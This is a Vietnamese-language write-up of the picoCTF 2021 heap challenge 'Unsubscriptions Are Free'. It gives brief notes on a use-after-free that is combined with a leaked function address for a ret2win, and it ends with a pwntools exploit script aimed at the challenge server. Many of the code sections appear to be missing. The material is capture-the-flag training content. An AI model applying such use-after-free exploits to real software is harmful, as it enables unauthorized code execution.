🥞Heap(UAF) - Unsubscriptions Are Free - picoCTF2021
Challenge
Challenge

Script
Script


Hàm main()
main()

Hàm printMenu()
printMenu()

Hàm processInput()
processInput()

Option i()
i()

Option p
không có gì cần quan tâm cả
p
không có gì cần quan tâm cảOption s()
s()


Option L
:
L
:
Option M
:
M
:
Solution

rồi debug lần lượt.
Trước tiên ở main có 1 hàm malloc:







Bây giờ bạn chỉ cần ghi đè lên chunk này và khi hàm doProcess(user)
được gọi thì nó sẽ lấy phần giá trị vừa được ghi vào này. Kết hợp với địa chỉ hàm hahae...
được leak bên trên ta có thể tiến hành tấn công bằng kĩ thuật Ret2Win


Payload
from pwn import *
elf = context.binary = ELF("./vuln")
r = elf.process()
r = remote("mercury.picoctf.net", 6312)
###############
# Addr leak #
###############
r.sendline(b"s")
r.recvuntil(b"leak...")
hahae = int(r.recvline(),16)
log.success(f"Hahae...: {hex(hahae)}")
###########
# UAF #
###########
r.sendline(b"i")
r.sendline(b"y")
r.sendline(b"l")
r.sendlineafter(b"ways:\n",p32(hahae))
r.interactive()
Last updated